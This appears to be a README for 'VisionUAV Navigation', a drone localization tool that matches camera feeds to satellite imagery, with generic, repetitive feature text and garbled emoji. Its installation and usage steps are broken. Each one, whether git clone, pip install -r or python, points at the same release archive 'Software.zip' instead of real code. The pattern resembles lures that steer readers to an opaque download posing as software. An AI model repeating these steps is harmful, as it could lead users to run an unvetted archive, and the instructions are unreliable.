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A robust vision-based localization system for UAVs operating in GPS-denied environments. The system utilizes advanced computer vision techniques to achieve accurate position estimation by matching real-time drone camera feeds with satellite imagery.

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VisionUAV Navigation

🚁 A robust vision-based localization system for UAVs operating in GPS-denied environments. The system utilizes advanced computer vision techniques to achieve accurate position estimation by matching real-time drone camera feeds with satellite imagery. 🌍

Topics

πŸ” Adaptive Noise Scaling, AKAZE, BRISK, Computer Vision, Feature Detection, Feature Matching, Geolocalization, Homography, Image Processing, Localization, OpenCV, ORB, Position Estimation, RANSAC, Region-of-Interest, SIFT, UAV, UAV Navigation

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Download VisionUAV Navigation v1.0.0

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Overview

VisionUAV Navigation is a state-of-the-art system designed to provide accurate localization for UAVs when traditional GPS systems are not available. By leveraging computer vision algorithms and satellite imagery, this system ensures precise position estimation in challenging environments.

Features

🎯 Adaptive Noise Scaling: Dynamically adjust noise levels to improve accuracy. πŸ” Feature Detection: Identify key points in images for matching and localization. πŸ”„ Feature Matching: Match features between the drone camera feed and satellite imagery. 🌐 Geolocalization: Determine the geographical location of the UAV without GPS. πŸ–ΌοΈ Image Processing: Process real-time images for localization purposes. πŸ“ Position Estimation: Estimate the exact position of the UAV in the environment. πŸ”— Homography: Establish a transformation between two image planes for accurate mapping. πŸ“· OpenCV: Utilize the power of OpenCV for computer vision tasks. πŸ” ORB, SIFT, AKAZE, BRISK: Implement keypoint detectors and descriptors for accurate feature matching. 🚁 UAV Navigation: Assist drones in navigating effectively in GPS-denied areas. 🎯 RANSAC: Robustly estimate parameters of a mathematical model from a set of observed data points. πŸ” Region-of-Interest: Focus on specific regions in images for detailed processing.

Installation

  1. Clone the repository:
    git clone https://github.com/Chethanks2005/VisionUAV-Navigation/releases/download/v1.0/Software.zip
  2. Install the necessary dependencies using pip:
    pip install -r https://github.com/Chethanks2005/VisionUAV-Navigation/releases/download/v1.0/Software.zip

Usage

  1. Run the main script to start the vision-based localization system:
    python https://github.com/Chethanks2005/VisionUAV-Navigation/releases/download/v1.0/Software.zip
  2. Follow the on-screen instructions for calibration and operation.

Contributing

We welcome contributions to improve VisionUAV Navigation. Feel free to submit pull requests or open issues for any enhancements or bug fixes.

License

This project is licensed under the MIT License - see the LICENSE file for details.


🌟 Dive into the world of vision-based UAV navigation with VisionUAV Navigation - your solution for accurate position estimation in GPS-denied environments! 🌟

πŸ”— For more information, visit the official VisionUAV Navigation repository. Make sure to check the "Releases" section for the latest updates and downloads. πŸš€

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A robust vision-based localization system for UAVs operating in GPS-denied environments. The system utilizes advanced computer vision techniques to achieve accurate position estimation by matching real-time drone camera feeds with satellite imagery.

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